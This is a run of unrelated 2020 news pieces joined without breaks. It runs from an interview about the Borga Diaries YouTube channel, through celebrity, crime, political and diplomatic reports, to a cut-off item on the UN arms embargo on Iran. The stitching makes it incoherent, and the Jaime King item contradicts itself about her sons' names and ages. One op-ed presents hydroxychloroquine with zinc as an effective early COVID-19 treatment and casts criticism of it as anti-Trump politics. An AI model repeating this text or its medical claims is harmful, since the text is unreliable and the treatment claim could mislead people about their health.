on Borga Diaries right now, dont doubt me, just watch it for yourself with this short link bit.ly/BorgaDiaries. What were the hardest moments for you on this journey that made you almost want to give up, and what made you keep going? My fear of people perceiving me in a certain way, and just the fear of putting yourself out there, is what scared me the most. Its a different level when you decide to put yourself out there on YouTube. The sense of accomplishment and pride Ill feel tomorrow will outweigh any doubt or worry I feel today. Who do you want this YouTube channel to appeal to? Everyone, the young, the old, those with travel ambitions, those without travel ambitions, married and single (like me!). In 3 to 5 years, where do you hope this channel will be, in terms of growth? The aim is to grow, to a point where it can be shown on national TV, whether in the US or Ghana, or on any major network globally. I would love for this channel to reach diverse populations. As of now, my current videos include travel experiences from Ghanaians who have traveled to Germany, Italy, and the US. I hope to capture more experiences from other Africans who have traveled the world. To view Borga Diaries, please visit the following YouTube and Instagram pages: Instagram: @borgadiaries https://instagram.com/borgadiaries Written by Afromusion BJP leader shot dead Baghpat (UP): A Bharatiya Janata Party leader was shot dead in Uttar Pradesh's Baghpat district on Tuesday morning, police said. Sanjay Khokhar, a former district unit president of the BJP, was out for a morning walk when the incident took place, the police said. Advertisement BJP leader shot dead The body has been sent for post-mortem and a First Information Report (FIR) has been registered at the local Chhaprauli police station, according to officials. Further details were awaited, the police said. Jaime King has been engaged in a contentious divorce from her husband of 12-years, Kyle Newman, 44. But the 41-year-old indulged in a healthy dose of companionship on Monday evening as she stocked up on groceries with a mystery man at Bristol Farms in Los Angeles. King could be seen exiting the store with her keys in hand as her unidentified brunette friend pushed their packed cart. Grocery buddy: But the 41-year-old indulged in a healthy dose of companionship on Monday evening as she stocked up on groceries with a mystery man at Bristol Farms in Los Angeles Jaime looked extra cozy for her errand run in a black By Tyler Shields sweatshirt and a pair of faded straight legged jeans. She had her bleach blonde hair tied back into a ponytail and she kept the majority of her face concealed behind a medical grade mask. Instead of slinging a purse across her body, the Hart Of Dixie star opted to carry her personal belongings in her hands. Jaime's male pal also happened to be wearing a black hoodie, which he styled with some dark denim jeans and a pair of black Vans sneakers. Gentleman: King could be seen exiting the store with her keys in hand as her unidentified brunette friend pushed their packed cart back to her car Comfort first: Jaime looked extra cozy for her errand run in a black By Tyler Shields sweatshirt and a pair of faded straight legged jeans Once the grocery shopping duo made it back to Jaime's parked vehicle, they began unloading their bags into the trunk. Jaime happened to purchase two bouquets during her shopping trip, which she carefully loaded into the vehicle last. Flower power: Jaime happened to purchase two bouquets during her shopping trip, which she carefully loaded into the vehicle last Loading up: Once the grocery shopping duo made it back t Jaime's parked vehicle, they began unloading their bags into the trunk It has been a rough few months for Jaime as back in May she filed for divorce from husband Kyle Newman, alleging he had abused her during the last five years of their 12-year marriage. The contentious break-up has seen Newman counter-claim that King is an addict and alcoholic who has endangered their two sons. Newman has been caring for James Knight, six, and Leo Thames, five, in Pennsylvania. Divorce: It has been a rough few months for Jaime as back in May she filed for divorce from husband Kyle Newman, alleging he had abused her during the last five years of their 12-year marriage; Jaime and Kyle pictured in 2019 A judge recently extended a temporary restraining order King requested against Newman until a court hearing on June 29. Despite all of the drama, Jaime celebrated her son James' fifth birthday, which she shared on Instagram on July 16. She also happened to tag her estranged husband in the post seen by her 1.4million followers. 'HAPPY 5th BIRTHDAY Leo Thames Brave as a lion. Flows like a river. We are so blessed to have you here on this planet our beautiful, tender, fearless boy,' wrote the model. Yikes: The contentious break-up has seen Newman counter-claim that King is an addict and alcoholic who has endangered their two sons; Kyle and Jaime pictured with their two sons James Knight, six, and Leo Thames, five in 2016 Happy Birthday: Despite all of the drama, Jaime celebrated her son James' fifth birthday, which she shared on Instagram on July 16; Jaime pictured with James and Leo on July 16 She also cited a quote from James' favorite stage musical Hamilton. 'I love you more than anything that has ever existed. Always yours- Mama,' concluded Jaime. In the series of sweet snapshots, King can be seen cozying up to the birthday boy and her eldest son Leo, while admiring a cake covered in lit candles. Back in June, Deadline.com reported that Jaime would star opposite Bruce Willis in the movie Out Of Death. Thoughtful: 'HAPPY 5th BIRTHDAY Leo Thames Brave as a lion. Flows like a river. We are so blessed to have you here on this planet our beautiful, tender, fearless boy,' wrote the model on her post Blow them out: In the series of sweet snapshots, King can be seen cozying up to the birthday boy and her eldest son Leo, while admiring a cake covered in lit candles It's a major boost for the former model turned actress who most recently has been seen in the small screen shows Hart Of Dixie on The CW and Netflix's Black Summer. Principal photography will begin once Willis completes work on the drama Midnight In The Switchgrass which has begun shooting in Puerto Rico in March before being halted due to the coronavirus pandemic. And before she can start filming with Willis, King is expected to complete production on the second season of Black Summer on which she also serves as a producer. Stage III vaccine testing is being done by administrating the vaccine or a placebo to around 30,000 people. Then the number taking the vaccine or the placebo who develop COVID-19 are counted. If the vaccine is good, statistically, fewer in the vaccine group will catch the disease compared to the placebo group. If too few people in the trial catch the disease, the numbers will be too small to come to a statistically strong conclusion. It may take a long time for enough cases to accumulate. A lot of time will be wasted on extensive paperwork designed to ward off lawyers trying to profit from others' misery. A human challenge trial is a much simpler and faster method of testing a vaccine. Volunteers are infected deliberately with live virus after having been vaccinated. A placebo group, vaccinated with fake vaccine, is also infected to make sure that the infection works and perhaps answer other questions such as whether many people are innately immune to the virus. Within a week or two after the infection is made, it will become obvious if the vaccine is working. Younger, healthy adults are not likely to suffer or die from the virus. A much smaller number of people are needed in human challenge trials because exposure to the virus is assured, rather than waiting around until enough of the cohort catch it from the environment. The participants in the trial would of course be volunteers, and probably they would be paid, but nothing exorbitant. They would have one clear benefit, after the trail is over, they would be immune, either from catching the virus or because the vaccine works. People risk their lives all the time in many ways for example, enlisting in the armed forces or walking through a bad neighborhood in Chicago. Why should there be a problem if they volunteer to take the small risk of participating in a human challenge trial? About 1,000 people a day are dying from the virus while we wait around for stage III tests that take forever. It is unlikely that even one person will die in a carefully conducted human challenge trial. In New York City, the death rate from COVID-19 for people aged 1845 is 21 per 100,000 cases. If the volunteers are in their twenties and screened, the death rate might be 10 times less than this. If 1,000 volunteers are infected, the expected number of deaths would be very close to zero. A group of scholars have written a paper, "Evaluating use cases for human challenge trials in accelerating SARS-CoV-2 vaccine development." The World Health Organization has also produced a document discussing regulatory issues with human challenge trials: "Human Challenge Trials for Vaccine Development: regulatory considerations." Political considerations have overwhelmed science in dealing with COVID-19. Trump's enemies include most of the media, academia, provincial Silicon Valley types, and of course the Democrats. If you listen to NBC News, every day, it attempts to unjustifiably scare people with the virus, obviously to undermine Trump. We are lucky that the virus is not smallpox or the 1918 flu. It is incredible and comforting that children are, in Trump's words, "almost immune." Most of the people dying are fragile old people. That is not OK, but imagine how much worse the effect on the collective psyche would be if the virus preferentially killed young children. We are programmed to protect young children, an instinct that is incredibly strong among parents. The polio epidemics of the 1950s created overwhelming fear among parents. There is a strong case that hydroxychloroquine combined with zinc and azithromycin, given early in the course of the disease, makes the disease much milder. Hydroxychloroquine is a safe drug used for over 50 years. The theory behind this is that the HCQ makes it easier for zinc to pass into cells. Zinc inhibits the reproduction of the virus. Slowing down the multiplication of the virus gives the patient's immune system more time to develop immunity before the virus overwhelms the patient, making him very sick or even killing him. The HCQ treatment must be given early. It is not useful for patients who are already deathly sick. Quite a few doctors and scientists have advocated the use of HCQ based on clinical experiences and various studies. Recently, Dr. Harvey A. Risch, a professor of epidemiology and a medical doctor at Yale, wrote a review paper. He even published an op-ed in Newsweek. Dr. Risch is eminently qualified to write about HCQ. The reaction to his articles was virulent hatred and an apparent attempt to get him fired. Supporting Trump by promoting a treatment suggested by Trump is an unforgivable sin among Trump-hating academics. The science does not matter, only the politics. The dean of the Yale School of Public Health felt it necessary to write that it is not his job to suppress the opinions of academics working at this school. A letter signed by 21 Yale academics denounced Dr. Risch. In his Newsweek editorial, Dr. Risch states: "I myself know of two doctors who have saved the lives of hundreds of patients with these medications but are now fighting state medical boards to save their licenses and reputations. The cases against them are completely without scientific merit." In my own state of Nevada, the governor has outlawed HCQ except for hospitalized patients. By the time the patient is hospitalized, it is too late. Maybe a new approach to finding a workable vaccine will make a difference. Norman Rogers is the author of the book Dumb Energy: A Critique of Wind and Solar Power. He often writes on the political distortion of science. Egypt and Greece signed a maritime demarcation agreement last week in a deal that has wide economic and geopolitical significance More than a dozen rounds of negotiations took place before an agreement was signed demarcating the maritime borders between Egypt and Greece on 6 August and setting out the exclusive economic zone (EEZ) between the two countries. The agreement is in line with international law and the United Nations Convention on the Law of the Sea (UNCLOS), noted Egypts Foreign Minister Sameh Shoukri following the signature with his Greek counterpart Nikos Dendias in Cairo. The agreement is important because it will allow Egypt to exploit natural resources beyond its territorial waters of 12 nautical miles and into its much wider economic zone, explained petroleum expert Ramadan Abul-Ela. It could also mean exploiting new gas fields such as the Zohr Field discovered in 2015. This is especially important since there are those who want to mess with our economic waters, Abul-Ela added, referring to Turkish President Recep Tayyip Erdogan who wants to stick his nose where it does not belong. First, he is being a bully in Northern Syria and Iraq, and now he is practising piracy in the Mediterranean. In November last year, Turkey and the Prime Minister of the Government of National Accord (GNA) in Libya Fayez Al-Sarraj signed a memorandum of understanding on maritime boundaries in the Mediterranean Sea. Their coast lines dont even face each other, commented Abul-Ela. The UNCLOS is an international convention adopted in 1982 that permits a state to extend its EEZ seaward to 200 nautical miles (370km). However, if the maritime distance between two countries is less than 424 nautical miles, exclusive economic zones can be determined through bilateral agreements between two coastal states. Turkey is not signatory to the UNCLOS. By concluding an agreement with Al-Sarraj, Turkey is trying to grab a share of the rich natural gas found in the Eastern Mediterranean, said petroleum expert Ibrahim Zahran. However, since it is not signatory to the 1982 treaty, it can make whatever claims it wants but only international law will rule, he added. Furthermore, Egypt is well equipped to protect its maritime economic interests against any trespassing, he said. Egypts agreement with Greece threatens Turkeys plans, and on Monday Turkey announced that its research vessel Oruc Reis and two auxiliary vessels would be conducting exploratory drilling from 10 to 23 August. In reaction, Greek Prime Minister Kyriakos Mitsotakis called a meeting with the countrys military chiefs on Monday. The Turkish drilling was a new and serious escalation that had exposed Turkeys destabilising role, the Greek Foreign Ministry said, as quoted by the BBC. Turkeys announcement was a direct reaction to the signing of the agreement between Egypt and Greece, said Constantinos Filis, research director at the Institute for International Relations at the Panteion University in Athens. Turkey wanted to establish its hegemony in the region and wanted to force the rest of the region to accept it and not to take decisions against Turkish interests, Filis told Al-Ahram Weekly. He said the Egypt-Greece agreement was an obstacle to the agreement signed between Ankara and the Al-Sarraj government, which does not represent all Libyans. That agreement was void, he stressed, adding that if had it not been for the Egypt-Greece agreement, Turkey would have started acting upon its agreement with Al-Sarraj and started exploration and drilling. While Greeces priority in the agreement is to find a way to undercut the agreement between Al-Sarraj and Turkey, it could have economic advantages, Filis said. Before the agreement was signed, Egypt and Greece could not carry out activities such as extracting resources in the areas concerned. If a country has not delineated its boundaries, it cannot undertake any legal activity nor practice its sovereign rights in such waters, he said. He said that if the price of oil and gas rises, Greece may consider prospecting for oil and gas in its economic waters or in cooperation with Egypt. For the moment, low prices have made it less lucrative for multinational companies to pump new investments into the field. Crude oil prices have averaged less than $40 a barrel in 2020, down from around $65 two years ago and around $95 a decade ago. Filis said Turkey was drilling to send the message that it was the hegemonic power, not because it knows better than the oil companies. According to Filis, the Greek agreement with Egypt has left some areas without demarcation, and there was a need to delineate the rest of the area with both Turkey and Cyprus, he said. That area includes the area east of Rhodes and southern Crete. This is the right thing to do. Both Egypt and Greece respect the law of the sea. We cannot follow the Turkish model, he said. However, he said that unless Turkey adapts to regional and legal realities, there will be no room for dialogue. If it changes its attitude, dialogue will be welcome. In recent years, Egypt, Greece, and Cyprus have strengthened their cooperation, especially in the area of energy, helping each other to make the most of their resources. The three countries have signed a cooperation framework agreement for a power-linkage project through Crete, for example. Egypt and Cyprus have also agreed to build a natural gas pipeline that will allow natural gas from the Cypriot Aphrodite Field to be transported to Egypts liquefaction facilities at Idku and Damietta and re-exported as liquefied natural gas. In 2018, the three countries became the cornerstone of the East Mediterranean Gas Forum that includes all the countries that produce and import gas in the region and the transit countries. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: Ghislaine Maxwell's legal team has stumbled upon 'critical new information' that will impact both her criminal sex trafficking case and her civil defamation case, as they continue to fight to keep potentially explosive documents under seal, according to court papers filed on Monday night. The former British socialite's lawyers did not go into detail about what they may have discovered in the court filing - only disclosing they learned of the information last Friday and that it was subject to a court protective order. Last month, New York judge Loretta Preska ordered a trove of documents unsealed pertaining to a defamation suit brought against Maxwell by Jeffrey Epstein's 'sex slave' Virginia Roberts Giuffre in 2015. There will be more documents unsealed in the coming weeks as nonparties and parties named in the papers are given due process to object to the unsealing. The 58-year-old had fought tooth and nail to keep the recent documents under seal, especially her deposition and that of a Jane Doe's. In a flurry of last-minute filings, she managed to keep the bombshell depositions secret for a bit longer. Now, she's attempting to delay the unsealing process of other unreleased documents, requesting they be put on pause for at least another three weeks. Ghislaine Maxwell's legal team has stumbled upon 'critical new information' that will impact both her criminal sex trafficking case and her civil defamation case, as they continue to fight to keep potentially explosive documents under seal, according to court papers filed on Monday night The former British socialite's lawyers did not go into detail about what they may have discovered in the court filing - only disclosing they learned of the information last Friday and that it was subject to a court protective order Maxwell's request came before her team complained about conditions inside the 'hell-hole' Brooklyn jail where she is being kept ahead of her trial next summer. She was recently taken off suicide watch, but is being subjected to multiple searches each day and is under constant watch of the guards, her lawyers said in a separate filing on Monday night. The searches and surveillance should be stopped, her lawyers said, while requesting that she be taken out of solitary confinement and placed in with other prisoners. Last month, New York judge Loretta Preska ordered a trove of documents unsealed pertaining to a defamation suit brought against Maxwell by Jeffrey Epstein's 'sex slave' Virginia Roberts Giuffre (pictured) Her legal team say she is only being subjected to the 'onerous' conditions because her former boyfriend Epstein died while awaiting trial, in what was ruled a suicide. They argue she 'has never been suicidal and was never diagnosed as exhibiting risk factors for suicide,' but is still woken up every few hours during the night and forced to wear special clothing. She has also been forced to undergo body scans, lawyer Chris Everdell wrote in a letter to the judge and is observed even while calling her attorneys. 'Ms. Maxwell is being treated worse than other similarly situated pretrial detainees, which significantly impacts her ability to prepare a defense,' he said. His letter asks that Maxwell 'be released to the general population and be granted the privileges given to other pretrial detainees'. Everdell also requested for her to be given more computer time in order to review the reams of documents relating to her case. Further, his team asked that she be given the names of three anonymous women who are accusing her of grooming and abusing them. 'Maxwell cannot prepare for or receive a fair trial without this information,' her lawyers argued. Jeffrey Epstein was initially charged with sex trafficking in Florida in 2006, before being hit with a 53-page FBI indictment the following year. Maxwell's request came before her team complained about conditions inside the 'hell-hole' Brooklyn jail where she is being kept ahead of her trial next summer. Her legal team say she is only being subjected to the 'onerous' conditions because Epstein died while awaiting trial, in what was ruled a suicide She was recently taken off suicide watch, but is being subjected to multiple searches each day and is under constant watch of the guards, her lawyers said in a separate filing on Monday night. Pictured: Brooklyn's MDC where Maxwell is being held In 2008, he was offered a controversial plea deal that saw him sentenced to 18 months in prison for soliciting underage prostitutes. He was then rearrested in July 2019, charged with sex trafficking and moved to a maximum security jail in Manhattan. On August 10 he was found unconscious in his cell with injuries to his neck and later died in what was officially ruled a suicide. Epstein had been on suicide watch but was taken off just days before his death, on the condition that he be placed with a cellmate and constantly monitored. But the day before his body was found his cellmate was moved out and not replaced, and guards failed to carry out checks on him. Maxwell, who is accused of acting as Epstein's 'madam' by finding young women for him to abuse and then 'training' them to comply with his desires, was arrested on July 2 at a mansion she owned in New Hampshire. The socialite - who once mixed with celebrities, presidents and royalty at high-class parties - was moved on July 6 to Brooklyn's Metropolitan Detention Center, once described by a judge as 'like a third-world country' Guards at the jail, which is different to the one where Jeffrey Epstein died last year, have been jailed for raping female prisoners, while the jail also lost power for an entire week during winter last year - leaving inmates locked in freezing, dark cells. In total Maxwell is facing six counts - four relating to child sex trafficking, and two of perjury for lying under oath about the trafficking during a previous lawsuit. If convicted on all charges, she is facing up to 35 years behind bars. MANZINI Creativity and innovation is at the forefront in the hub of the country Manzini - as 39 people were arrested for being drunk or selling alcoholic beverages. The arrested individuals were found at Mangwaneni, a peri-urban township about four kilometres from the central business district of Manzini. This was during the random raids conducted by the Manzini Disaster Management Task Team headed by Chief Gija. Chief Gija, who is also the Regional Administrator, said given that the region was declared an epicentre of the coronavirus, there was a need to mitigate the challenges differently from the other regions. He said one of the strategies of dealing with this was to raid the various townships within the region as they had gathered that alcohol was in abundance, despite the ban of liquor sales by government. While raiding Mangwaneni Township, Chief Gija said his team arrested 39 people who were either found drunk or selling home-brewed alcohol. We have noted with concern that some of the hot spots in the region are informal townships where the sale of liquor is rampant while also being drunk is normal despite that the COVID-19 era is not a normal period, Chief Gija said. Creative The RA said imbibers had become so creative and innovative such that they had started brewing alcohol from rice. In jest, Chief Gija said the alcoholic content of this brand of home-brewed liquor was so strong such that one had to sit and face the direction he or she would walk towards after the drinking spree. Once you drink the liquor brewed from rice, you lose all sense of direction and focus on where you are looking as if you are riding a bicycle, he said. With such acts, he said it was disheartening to note that the public was not cooperating with government as the ban of liquor sales was aimed at mitigating the surge of confirmed cases. He said in the informal settlements, what was discovered during the raids was that the imbibers shared the alcoholic containers, which in turn exposed them to contracting the virus. Leading to the raids, Chief Gija requested the authorisation of Cabinet to raid and take possession of alcohol sold in locations and townships. (CNN) - Joe Biden has named Kamala Harris as his running mate, making the California senator the first Black and South Asian American woman to run on a major political party's presidential ticket. "I've decided that Kamala Harris is the best person to help me take this fight to Donald Trump and Mike Pence and then to lead this nation starting in January 2021," the presumptive Democratic presidential nominee wrote in an email Tuesday. The two are set to appear together for the first time for a speech Wednesday in Wilmington, Delaware. Biden's campaign has not yet said what time that speech will take place. In selecting Harris, Biden adds to the Democratic ticket a former primary rival who centered her own presidential bid on her readiness to take on Donald Trump and show Americans she would fight for them. She rose to national prominence within the Democratic Party by interrogating Trump nominees during Senate hearings, from former Attorney General Jeff Sessions to Supreme Court Justice Brett Kavanaugh. Harris' selection comes months after Biden committed to picking a woman to join him on the Democratic ticket. Harris, 55, is now the third woman to serve as a vice presidential candidate for a major political party, following Geraldine Ferraro as the Democratic vice presidential pick in 1984 and Sarah Palin as the Republican vice presidential pick in 2008. Aware that his age could be a concern to some voters, Biden, 77, has said that he is "a bridge" to a new slate of Democratic leaders, and by selecting Harris, more than 20 years his junior, he has elevated a leading figure from a younger generation within the party. Biden's selection unfolded with the utmost secrecy after a period in which he spoke with the contenders either in person or in face-to-face meetings. He notified several close advisers on Tuesday, two people familiar with the matter told CNN. After considering some 11 women for the post, he and his aides spent time on Tuesday afternoon notifying the vice presidential prospects who he did not choose. His calls included California Rep. Karen Bass, the chairwoman of the Congressional Black Caucus, as well as Georgia Democrat Stacey Abrams, Illinois Sen. Tammy Duckworth, Massachusetts Sen. Elizabeth Warren, New Mexico Gov. Michelle Lujan Grisham and Florida Rep. Val Demings, sources familiar with the matter told CNN. As part of the selection process, the former vice president spoke directly to the final contenders, according to people familiar with the process, through either face-to-face meetings or remote conversations. Officials would not say which of the candidates visited Biden in person, but CNN confirmed last week that Michigan Gov. Gretchen Whitmer had flown to Delaware for a meeting. Harris and former Obama national security adviser Susan Rice were among the others seen as the most serious contenders. CNN had previously reported that Biden was also believed to be considering Bass, Sen. Elizabeth Warren of Massachusetts and Sen. Tammy Duckworth of Illinois, people familiar with the search say. In another sign that the pick was imminent, a Biden campaign official told CNN on Tuesday that they have assembled the staff for Biden's future running mate. Karine Jean-Pierre, who joined the Biden campaign as a senior adviser in May, will lead the Harris' team as chief of staff. Jean-Pierre had previously worked for Barack Obama and Martin O'Malley's presidential campaigns. Two veterans of the Obama-Biden administration are also joining the team. Liz Allen, who served as deputy communications director for Biden as vice president as well as deputy communications director in the White House, is joining as communications director to Harris. And Sheila Nix, who was chief of staff to Biden's reelection campaign in 2012 and served as Jill Biden's chief of staff in the White House, will be a senior adviser to Harris and her husband, Douglas Emhoff. The vice presidential pick is expected to also add a few of her own advisers to the team. The last time Biden and Harris shared the stage was March 9 in Michigan, the eve of a primary that would prove decisive in Biden's primary battle. On a stage in a Detroit high school gymnasium, Biden gestured to Harris, Whitmer and New Jersey Sen. Cory Booker and called himself a "bridge" to "an entire generation of leaders" within the Democratic Party. The spouses of Biden and Harris, Jill Biden and Emhoff, had an exchange over Twitter as Biden welcomed Harris to the ticket. "Hey @DouglasEmhoff Are you ready?" Jill Biden tweeted. "America, let's do this!" Emhoff said. Progressives also quickly welcomed Harris to the Democratic ticket. Vermont Sen. Bernie Sanders tweeted that Harris "will make history as our next Vice President." "She understands what it takes to stand up for working people, fight for health care for all and take down the most corrupt administration in history. Let's get to work and win," he said. Why Harris was chosen Harris started out in the vice presidential search process as a favorite because of her experience as a senator, California attorney general and district attorney in San Francisco and her extensive vetting as a presidential candidate. Ultimately, she was chosen by Joe Biden the "common sense pick" who everybody could agree would "do no harm," a source familiar with the vetting process told CNN. With her multi-racial background as the child of two immigrants to the United States, her allies believed she could complement Biden as a symbol of a changing America. She also proved to be a hardworking surrogate for Biden in recent months, taking part in everything from virtual policy events with voters in swing districts to a live DJ dance party fundraiser with Diplo and D-Nice online. When Trump tweeted about delaying the election in late July, she responded on Twitter by saying he is "terrified" because "he knows he's going to lose to @JoeBiden. It will require every single one of us to make that happen." Still, some members of Biden's team resisted choosing Harris. A recent Politico story noted that former Sen. Chris Dodd of Connecticut, who was helping vet candidates, was still galled by her attack on Biden during a June 2019 debate in Miami, when she criticized his work with segregationist senators and highlighted his fight against busing to desegregate schools decades ago. The pushback against Harris apparently became so strong that Biden felt the need to defend her during his July 28 press conference, where an Associated Press photo captured the talking points about her on his notecard that included "do not hold grudges" and "great help to campaign." Harris also benefited from being a running mate who could match this turbulent moment in American history. Many of the issues at the center of her life's work -- including criminal justice reform, improving health care for Black Americans and tackling income inequality -- have come to the forefront in the three-pronged crisis America is now facing: the coronavirus pandemic (which has disproportionately affected communities of color), the fight against systemic racism and an economic recession. The protests against police brutality of Black people in the wake of George Floyd's death also gave Harris an opening to more succinctly explain her decision to become a prosecutor as a young lawyer, despite the deep mistrust of that profession among Black Americans who have been wronged by the criminal justice system. During the recent "Live Free" forum, the California senator was asked what she says to activists and voters who contend that as attorney general, she was part of the system and don't trust her to be part of the change within it. Harris said she grew up experiencing some of the abuses of the system, noting that every Black man she knows has experienced "some form of profiling, of excessive force, of unreasonable stop or seizure." She noted that she made a very conscious decision to become a prosecutor: "I said why do we only have to be on the outside, trying to knock down doors to change the system? ... Isn't there a role for us to go inside the system and try to change it?" She pointed to aspects of her record as California's attorney general that she said were incremental steps toward police reform: arguing that she "opened up California's data system" to assist activists who were trying to "claw that information out" through public records requests -- making data around deaths, custody and arrest rates by race more accessible. Harris also highlighted her work improving re-entry initiatives for the formerly incarcerated, and a program that required implicit racial bias and procedural justice training for law enforcement officers under her command when she was California's attorney general. "These are just a few of the things that we were able to accomplish, certainly not enough, which is why I keep working on it. It has been my life's work to keep working on this and I'm not going to stop," she said. Rise to becoming a prosecutor As the half-Jamaican, half-Indian-American daughter of immigrants who sought higher education in the United States, Harris and her sister Maya Harris grew up steeped in the world of academia and the Black intellectual circles of Oakland and Berkeley, California. Harris' mother, Shyamala Gopalan Harris, a breast cancer specialist who pursued her graduate studies at UC-Berkeley, and her father, Donald Harris, who became an economics professor at Stanford, both protested during the Civil Rights Movement, giving Harris what she has called "a stroller-eye view" of activism from a very young age. She attended Howard University in Washington, DC, a place that taught students, she has said, "that we could be anything -- that we were young, gifted, and Black, and we shouldn't let anything get in the way of our success." After graduating from UC-Hastings College of the Law, she prosecuted child sexual assault, robbery, homicide and three strikes cases in the courtrooms of Alameda County and San Francisco. One of her proudest achievements was her work as California attorney general pursuing predatory lenders after the financial crash of 2008 and her decision to hold out for a larger settlement from the big banks for Californians after the foreclosure crisis. The banks initially offered what she has referred to as crumbs on the table, she held out for what become a $20 billion settlement, relishing the chance to take on the top officials at the big banks who "seemed to be under the misimpression that I could be bullied into submission." She has often described the shouting match that ensued when she decided to directly dial Jamie Dimon, the then-chairman and CEO of JPMorgan Chase -- how she took off her earrings because of "the Oakland in me" and yelled at one another "like dogs in a fight," she wrote in her memoir "The Truths We Hold." Harris has also written at length about being repeatedly underestimated as a political candidate. One political strategist told her there was no way she could win, according to her memoir, "because I was 'a woman running for attorney general, a woman who is a minority, a woman who is a minority who is anti-death penalty who is DA of wacky San Francisco.' Old stereotypes die hard." (Ultimately, she edged out her Republican opponent in a race so close it took weeks to tally the ballots.) As California's junior senator, she has championed immigration issues, including the cause of the so-called "Dreamers" who were brought to America as young children. She created viral moments as a senator by demonstrating her prosecutorial demeanor when Trump nominees came before the Senate Judiciary Committee that elevated her profile within the Democratic Party. A rocky presidential bid When she entered the 2020 presidential race in January 2019, Harris appeared to be a formidable contender, but like many others, she struggled to maintain a position at the top of the polls within a crowded field of candidates. Fundraising, as well as power struggles within her campaign -- which was directed in part by her sister Maya, the campaign chairwoman -- proved to be difficult hurdles to overcome. In a last-ditch effort to revive her bid, the campaign decided to go "all in" on Iowa in September, then slashed staff and redeployed aides in October from New Hampshire, California and Nevada to the Hawkeye State. Aides had privately questioned the campaign's abrupt shifts in strategy, Harris' swerving message and a lack of clear leadership at the top. The moment that captured the most attention during her presidential bid was also the one that injected the most uncertainty into her ability to rebuild a strong working relationship with Biden. As rivals, Biden and Harris had been on friendly terms in part because of her friendship with Biden's late son, Beau; the two met when they served as attorneys general together, she from California and he from Delaware. But during that Miami debate, Biden looked stunned when Harris delivered her unexpectedly harsh blow by noting that she had been one of the children who benefited from busing. The moment went viral and she shot up in the polls. But her strong standing did not last -- and Biden and his wife Jill were both clearly blind-sighted by what Biden allies perceived as a vicious and opportunistic attack. Harris has tried to mend those relationships in the months since her departure from the presidential race as she has campaigned with Biden and joined forces with Jill Biden to highlight issues like Black maternal mortality. "You're a role model to women and girls across this country, including my granddaughters, and it's no secret that you and our son Beau worked closely together and shared a special connection," Jill Biden said to Harris during a recent virtual event with Milwaukee voters that focused on the threats to the Affordable Care Act. In that same event, Harris demonstrated the fierceness she has often shown when taking on Trump. She called out the President's decision to once again ask the Supreme Court to strike down the ACA at a time when so many Americans face have lost their insurance due to layoffs and tens of thousands are dealing with new pre-existing conditions after contracting the coronavirus "People are dying," Harris said. "But Donald Trump is prioritizing his political prospects and playing games." During a recent appearance on NBC's "Late Night with Seth Meyers," Harris said she would do anything to get Biden elected. "We need to save the soul of our country, we really do," she said. "We need a president who cares about the people and loves the people. This is a breaking news story and will be updated. This story was first published on CNN.com, "Joe Biden picks Kamala Harris as his running mate" Police-impersonator brother surrenders, wanted for Phuket roadside robberies PHUKET: The second suspect wanted for his role in robberies in Phuket in which he and his brother presented themselves to their victims as police officers has surrendered, Wichit Police have confirmed. crimepolice By The Phuket News Tuesday 11 August 2020, 03:24PM Phasan Chunthong, 40, as caught on video during one of he robberies. Image: Supplied Phasan Chunthong, 40, presented himself at Wichit Police station yesterday (Aug 10), Lt Col Thammasan Bunsong confirmed to The Phuket News today. Phasans brother, Eakkachai, 46, was arrested at a house in Soi Srisuthat 10, Moo 7, Rassada, last Wednesday (Aug 5). The pair were wanted for claiming they were police officers and ordering their victims to stop their motorbikes by the side of the road, and then conducting a search of their victims to steal valuables from them and fleeing. Phasan yesterday handed over a Samsung phone that he had stolen from Rungrote Boonmamon, 27, near the 7-Eleven store at Ao Makham, Wichit, at about 5:45pm last Tuesday (Aug 4). It was Rungrote who recorded the pair at the scene with a second phone he had on him, leading to Eakkachais arrest. Phasan yesterday told police that even before Eakkachai had been arrested, he had fled to Baan Nam Khem, Takua Pa, Phang Nga. However, he said that he wanted to apologise to the victims and give back their belongings. Phasan said that he had no money as he had been left unemployed due to the COVID-19 pandemic, so he had invited Eakkachai to help him to rob people. Regardless, Phasan, like his brother Eakkachai, has now been charged with committing robbery as a group by using a vehicle to flee, Lt Col Thammasan confirmed. Rescue worker found hanged PHUKET: Police are investigating the death of a hotel staffer, who also worked as a volunteer rescue worker in his spare time, whose body was found yesterday (Aug 10) hanged in a fire escape at the hotel in Phuket Town where he worked. deathpolice By Eakkapop Thongtub Tuesday 11 August 2020, 04:07PM Mr Suthat was known as genuinely kind person and will be missed by Phukets volunteer rescue community. Photo: Supplied Lt Col Sakol Krainakhon of the Phuket City Police and rescue workers were called to the Royal Phuket City Hotel at 8:30am. Arriving at the scene, officers found the body of Suthat Tatwakul, 37, hanged from the handrail of a fire escape way to the second floor of the hotel. Police found no signs of a struggle on his body and believed that he had died for at least eight hours before his body was found. Mr Suthat worked for the hotel and in his free time was a volunteer Kusoldharm rescue worker, going by his nickname Uthit 504. Lt Col Sakol said that Mr Suthats body was taken to Vachira Phuket Hospital for further examination while police continue their investigation into his death. Since his death, an outpuring of condolences from friends and fellow rescue workers have streamed online, marking how Mr Suthat was known as genuinely kind person and how much he will be missed by Phukets volunteer rescue community. Pompeo Says UN Should Heed A Request By GCC To Extend Iran Arms Embargo Radio Farda August 10, 2020 U.S. Secretary of State Mike Pompeo says Middle Eastern countries want the renewal of the United Nations arms embargo on Iran and the Security Council should heed their request. Pompeo tweeted his call on the Security Council hours after six Arab members of the Gulf Cooperation Council sent a letter to the UN on August 9 asking for the arms embargo to be extended beyond October. Based on a 2015 UN resolution the arms embargo will expire this year and the U.S. has been scrambling to gain diplomatic support for its extension. Washington argues that if Iran is allowed to buy and sell conventional weapons it will destabilize the region, which already suffers from several armed conflicts. Pompeo said in his tweet that the United States will introduce a resolution "this week to extend the embargo after years of diplomacy. The Council must choose between arming terrorists or standing by the Gulf". Reports indicate the Security Council is set to discuss the U.S. resolution on Tuesday, August 11. Russia and China have expressed their opposition to extending the embargo and have said they'll veto the resolution. Washington has threatened to revert to "snapback" of all previous international sanctions against Iran if the Council does not extend the arms embargo. "Snapback" is a mechanism set in the 2015 Iran nuclear agreement that would allow any of its signatories to demand the return of sanctions. However, the U.S. withdrew from the agreement in 2018 and other signatories have questioned if Washington can still use the mechanism. Iran has also reacted to the GCC letter, saying its governing body "has been influenced by the wrong and destructive policies and actions of some of its members". This can be 